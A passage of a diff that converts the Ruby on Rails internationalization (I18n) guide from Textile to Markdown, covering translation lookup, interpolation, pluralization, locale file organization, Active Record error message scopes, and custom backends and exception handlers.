-You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
+You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
-h4. Passing variables to translations
+### Passing variables to translations
You can use variables in the translation messages and pass their values from the view.
-<ruby>
+```erb
# app/views/home/index.html.erb
<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
+```
+```yaml
# config/locales/en.yml
en:
greet_username: "%{message}, %{user}!"
-</ruby>
+```
-h4. Adding Date/Time Formats
+### Adding Date/Time Formats
-OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
+OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option -- by default the `:default` format is used.
-<ruby>
+```erb
# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p
<p><%= l Time.now, :format => :short %></p>
-</ruby>
+```
And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
-<ruby>
+```ruby
# config/locales/pirate.yml
pirate:
time:
formats:
short: "arrrround %H'ish"
-</ruby>
+```
So that would give you:
-!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)!
+![rails i18n demo localized time to pirate](images/i18n/demo_localized_pirate.png)
-TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails' defaults for your locale*. See the "rails-i18n repository at Github":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locales/+ directory, they will automatically be ready for use.
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.
-h4. Inflection Rules For Other Locales
+### Inflection Rules For Other Locales
-Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In +config/initializers/inflections.rb+, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
+Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
-h4. Localized Views
+### Localized Views
-Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.)
+Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.)
You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
-h4. Organization of Locale Files
+### Organization of Locale Files
When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
-For example, your +config/locales+ directory could look like this:
+For example, your `config/locales` directory could look like this:
-<pre>
+```
|-defaults
|---es.rb
|---en.rb
@@ -442,21 +454,22 @@ For example, your +config/locales+ directory could look like this:
|---navigation
|-----es.rb
|-----en.rb
-</pre>
+```
This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
-<ruby>
+```ruby
# config/application.rb
config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
-</ruby>
+```
-Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
+Do check the [Rails i18n Wiki](http://rails-i18n.org/wiki) for list of tools available for managing translations.
-h3. Overview of the I18n API Features
+Overview of the I18n API Features
+---------------------------------
You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
@@ -468,183 +481,189 @@ Covered are features like these:
* using safe HTML translations
* localizing dates, numbers, currency, etc.
-h4. Looking up Translations
+### Looking up Translations
-h5. Basic Lookup, Scopes and Nested Keys
+#### Basic Lookup, Scopes and Nested Keys
Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
-<ruby>
+```ruby
I18n.t :message
I18n.t 'message'
-</ruby>
+```
-The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
+The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
-<ruby>
+```ruby
I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
+```
-This looks up the +:record_invalid+ message in the Active Record error messages.
+This looks up the `:record_invalid` message in the Active Record error messages.
Additionally, both the key and scopes can be specified as dot-separated keys as in:
-<ruby>
+```ruby
I18n.translate "activerecord.errors.messages.record_invalid"
-</ruby>
+```
Thus the following calls are equivalent:
-<ruby>
+```ruby
I18n.t 'activerecord.errors.messages.record_invalid'
I18n.t 'errors.messages.record_invalid', :scope => :active_record
I18n.t :record_invalid, :scope => 'activerecord.errors.messages'
I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
+```
-h5. Defaults
+#### Defaults
-When a +:default+ option is given, its value will be returned if the translation is missing:
+When a `:default` option is given, its value will be returned if the translation is missing:
-<ruby>
+```ruby
I18n.t :missing, :default => 'Not here'
# => 'Not here'
-</ruby>
+```
-If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
+If the `:default` value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
-E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned:
+E.g., the following first tries to translate the key `:missing` and then the key `:also_missing.` As both do not yield a result, the string "Not here" will be returned:
-<ruby>
+```ruby
I18n.t :missing, :default => [:also_missing, 'Not here']
# => 'Not here'
-</ruby>
+```
-h5. Bulk and Namespace Lookup
+#### Bulk and Namespace Lookup
To look up multiple translations at once, an array of keys can be passed:
-<ruby>
+```ruby
I18n.t [:odd, :even], :scope => 'errors.messages'
# => ["must be odd", "must be even"]
-</ruby>
+```
Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
-<ruby>
+```ruby
I18n.t 'activerecord.errors.messages'
# => { :inclusion => "is not included in the list", :exclusion => ... }
-</ruby>
+```
-h5. "Lazy" Lookup
+#### "Lazy" Lookup
Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
-<yaml>
+```yaml
es:
books:
index:
title: "Título"
-</yaml>
+```
-you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot):
+you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot):
-<ruby>
+```erb
<%= t '.title' %>
-</ruby>
+```
-h4. Interpolation
+### Interpolation
-In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
+In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature.
-All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation:
+All options besides `:default` and `:scope` that are passed to `#translate` will be interpolated to the translation:
-<ruby>
+```ruby
I18n.backend.store_translations :en, :thanks => 'Thanks %{name}!'
I18n.translate :thanks, :name => 'Jeremy'
# => 'Thanks Jeremy!'
-</ruby>
+```
-If a translation uses +:default+ or +:scope+ as an interpolation variable, an +I18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised.
+If a translation uses `:default` or `:scope` as an interpolation variable, an `I18n::ReservedInterpolationKey` exception is raised. If a translation expects an interpolation variable, but this has not been passed to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised.
-h4. Pluralization
+### Pluralization
-In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar, "Japanese":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja, "Russian":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
+In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar), [Japanese](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja), [Russian](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html). Thus, the I18n API provides a flexible pluralization feature.
-The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
+The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
-<ruby>
+```ruby
I18n.backend.store_translations :en, :inbox => {
- :one => '1 message',
+ :one => 'one message',
:other => '%{count} messages'
}
I18n.translate :inbox, :count => 2
# => '2 messages'
-</ruby>
-The algorithm for pluralizations in +:en+ is as simple as:
+I18n.translate :inbox, :count => 1
+# => 'one message'
+```
-<ruby>
+The algorithm for pluralizations in `:en` is as simple as:
+
+```ruby
entry[count == 1 ? 0 : 1]
-</ruby>
+```
-I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero).
+I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero).
-If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised.
+If the lookup for the key does not return a Hash suitable for pluralization, an `18n::InvalidPluralizationData` exception is raised.
-h4. Setting and Passing a Locale
+### Setting and Passing a Locale
-The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+.
+The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`.
-If no locale is passed, +I18n.locale+ is used:
+If no locale is passed, `I18n.locale` is used:
-<ruby>
+```ruby
I18n.locale = :de
I18n.t :foo
I18n.l Time.now
-</ruby>
+```
Explicitly passing a locale:
-<ruby>
+```ruby
I18n.t :foo, :locale => :de
I18n.l Time.now, :locale => :de
-</ruby>
+```
-The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this:
+The `I18n.locale` defaults to `I18n.default_locale` which defaults to :`en`. The default locale can be set like this:
-<ruby>
+```ruby
I18n.default_locale = :de
-</ruby>
+```
-h4. Using Safe HTML Translations
+### Using Safe HTML Translations
Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
-<ruby>
+```yaml
# config/locales/en.yml
en:
welcome: <b>welcome!</b>
hello_html: <b>hello!</b>
title:
html: <b>title!</b>
+```
+```html+erb
# app/views/home/index.html.erb
<div><%= t('welcome') %></div>
<div><%= raw t('welcome') %></div>
<div><%= t('hello_html') %></div>
<div><%= t('title.html') %></div>
-</ruby>
+```
-!images/i18n/demo_html_safe.png(i18n demo html safe)!
+![i18n demo html safe](images/i18n/demo_html_safe.png)
-h3. How to Store your Custom Translations
+How to Store your Custom Translations
+-------------------------------------
-The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
For example a Ruby Hash providing translations can look like this:
-<ruby>
+```ruby
{
:pt => {
:foo => {
@@ -652,47 +671,47 @@ For example a Ruby Hash providing translations can look like this:
}
}
}
-</ruby>
+```
The equivalent YAML file would look like this:
-<ruby>
+```ruby
pt:
foo:
bar: baz
-</ruby>
+```
-As you see, in both cases the top level key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz".
+As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
-Here is a "real" example from the Active Support +en.yml+ translations YAML file:
+Here is a "real" example from the Active Support `en.yml` translations YAML file:
-<ruby>
+```ruby
en:
date:
formats:
default: "%Y-%m-%d"
short: "%b %d"
long: "%B %d, %Y"
-</ruby>
+```
-So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+:
+So, all of the following equivalent lookups will return the `:short` date format `"%B %d"`:
-<ruby>
+```ruby
I18n.t 'date.formats.short'
I18n.t 'formats.short', :scope => :date
I18n.t :short, :scope => 'date.formats'
I18n.t :short, :scope => [:date, :formats]
-</ruby>
+```
Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
-h4. Translations for Active Record Models
+### Translations for Active Record Models
-You can use the methods +Model.model_name.human+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names.
+You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names.
For example when you add the following translations:
-<ruby>
+```ruby
en:
activerecord:
models:
@@ -701,11 +720,11 @@ en:
user:
login: "Handle"
# will translate User attribute "login" as "Handle"
-</ruby>
+```
-Then +User.model_name.human+ will return "Dude" and +User.human_attribute_name("login")+ will return "Handle".
+Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".
-h5. Error Message Scopes
+#### Error Message Scopes
Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
@@ -713,45 +732,45 @@ This gives you quite powerful means to flexibly adjust your messages to your app
Consider a User model with a validation for the name attribute like this:
-<ruby>
+```ruby
class User < ActiveRecord::Base
validates :name, :presence => true
end
-</ruby>
+```
-The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces:
+The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces:
-<ruby>
+```ruby
activerecord.errors.models.[model_name].attributes.[attribute_name]
activerecord.errors.models.[model_name]
activerecord.errors.messages
errors.attributes.[attribute_name]
errors.messages
-</ruby>
+```
Thus, in our example it will try the following keys in this order and return the first result:
-<ruby>
+```ruby
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
-</ruby>
+```
When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
For example, you might have an Admin model inheriting from User:
-<ruby>
+```ruby
class Admin < User
validates :name, :presence => true
end
-</ruby>
+```
Then Active Record will look for messages in this order:
-<ruby>
+```ruby
activerecord.errors.models.admin.attributes.name.blank
activerecord.errors.models.admin.blank
activerecord.errors.models.user.attributes.name.blank
@@ -759,48 +778,49 @@ activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
-</ruby>
+```
This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
-h5. Error Message Interpolation
+#### Error Message Interpolation
The translated model name, translated attribute name, and value are always available for interpolation.
-So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your %{attribute}"+.
-
-* +count+, where available, can be used for pluralization if present:
-
-|_. validation |_.with option |_.message |_.interpolation|
-| confirmation | - | :confirmation | -|
-| acceptance | - | :accepted | -|
-| presence | - | :blank | -|
-| length | :within, :in | :too_short | count|
-| length | :within, :in | :too_long | count|
-| length | :is | :wrong_length | count|
-| length | :minimum | :too_short | count|
-| length | :maximum | :too_long | count|
-| uniqueness | - | :taken | -|
-| format | - | :invalid | -|
-| inclusion | - | :inclusion | -|
-| exclusion | - | :exclusion | -|
-| associated | - | :invalid | -|
-| numericality | - | :not_a_number | -|
-| numericality | :greater_than | :greater_than | count|
-| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count|
-| numericality | :equal_to | :equal_to | count|
-| numericality | :less_than | :less_than | count|
-| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count|
-| numericality | :odd | :odd | -|
-| numericality | :even | :even | -|
-
-h5. Translations for the Active Record +error_messages_for+ Helper
-
-If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it.
+So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+
+* `count`, where available, can be used for pluralization if present:
+
+| validation | with option | message | interpolation |
+| ------------ | ------------------------- | ------------------------- | ------------- |
+| confirmation | - | :confirmation | - |
+| acceptance | - | :accepted | - |
+| presence | - | :blank | - |
+| length | :within, :in | :too_short | count |
+| length | :within, :in | :too_long | count |
+| length | :is | :wrong_length | count |
+| length | :minimum | :too_short | count |
+| length | :maximum | :too_long | count |
+| uniqueness | - | :taken | - |
+| format | - | :invalid | - |
+| inclusion | - | :inclusion | - |
+| exclusion | - | :exclusion | - |
+| associated | - | :invalid | - |
+| numericality | - | :not_a_number | - |
+| numericality | :greater_than | :greater_than | count |
+| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count |
+| numericality | :equal_to | :equal_to | count |
+| numericality | :less_than | :less_than | count |
+| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count |
+| numericality | :odd | :odd | - |
+| numericality | :even | :even | - |
+
+#### Translations for the Active Record `error_messages_for` Helper
+
+If you are using the Active Record `error_messages_for` helper, you will want to add translations for it.
Rails ships with the following translations:
-<yaml>
+```yaml
en:
activerecord:
errors:
@@ -809,70 +829,71 @@ en:
one: "1 error prohibited this %{model} from being saved"
other: "%{count} errors prohibited this %{model} from being saved"
body: "There were problems with the following fields:"
-</yaml>
+```
-h4. Overview of Other Built-In Methods that Provide I18n Support
+### Overview of Other Built-In Methods that Provide I18n Support
Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
-h5. Action View Helper Methods
+#### Action View Helper Methods
-* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
+* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51) translations.
-* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the "datetime.prompts":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable.
+* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83) scope if applicable.
-* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
+* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2) scope.
-h5. Active Model Methods
+#### Active Model Methods
-* +model_name.human+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
-* +ActiveModel::Errors#generate_message+ (which is used by Active Model validations but may also be used manually) uses +model_name.human+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
+* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
-* +ActiveModel::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "errors.format":https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4 (and which defaults to +"%{attribute} %{message}"+).
+* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`).
-h5. Active Support Methods
+#### Active Support Methods
-* +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
+* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope.
-h3. Customize your I18n Setup
+Customize your I18n Setup
+-------------------------
-h4. Using Different Backends
+### Using Different Backends
-For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
-<ruby>
+```ruby
I18n.backend = Globalize::Backend::Static.new
-</ruby>
+```
You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
-<ruby>
+```ruby
I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
-</ruby>
+```
-h4. Using Different Exception Handlers
+### Using Different Exception Handlers
The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
-<ruby>
+```ruby
MissingTranslationData # no translation was found for the requested key
InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil)
InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization
MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path
-</ruby>
+```
-The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope.
+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception’s error message string containing the missing key/scope.
The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
-In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with +#call+ method:
+In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method:
-<ruby>
+```ruby
module I18n
class JustRaiseExceptionHandler < ExceptionHandler
def call(exception, locale, key, options)
@@ -886,66 +907,71 @@ module I18n
end
I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
-</ruby>
+```
-This would re-raise only the +MissingTranslationData+ exception, passing all other input to the default exception handler.
+This would re-raise only the `MissingTranslationData` exception, passing all other input to the default exception handler.
-However, if you are using +I18n::Backend::Pluralization+ this handler will also raise +I18n::MissingTranslationData: translation missing: en.i18n.plural.rule+ exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:
+However, if you are using `I18n::Backend::Pluralization` this handler will also raise `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule` exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:
-<ruby>
+```ruby
if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule'
raise exception.to_exception
else
super
end
-</ruby>
+```
-Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+.
+Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`.
-To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option:
+To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option:
-<ruby>
+```ruby
I18n.t :foo, :raise => true # always re-raises exceptions from the backend
-</ruby>
+```
-h3. Conclusion
+Conclusion
+----------
At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
-If you find anything missing or wrong in this guide, please file a ticket on our "issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions, please sign up to our "mailing list":http://groups.google.com/group/rails-i18n.
+If you find anything missing or wrong in this guide, please file a ticket on our [issue tracker](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview). If you want to discuss certain portions or have questions, please sign up to our [mailing list](http://groups.google.com/group/rails-i18n).
-h3. Contributing to Rails I18n
+Contributing to Rails I18n
+--------------------------
I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
-Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!)
+Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!))
-If you find your own locale (language) missing from our "example translations data":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":https://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":https://github.com/guides/pull-requests.
+If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://github.com/guides/pull-requests).
-h3. Resources
+Resources
+---------
-* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
-* "Google group: rails-i18n":http://groups.google.com/group/rails-i18n - The project's mailing list.
-* "Github: rails-i18n":https://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases.
-* "Github: i18n":https://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem.
-* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project.
-* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
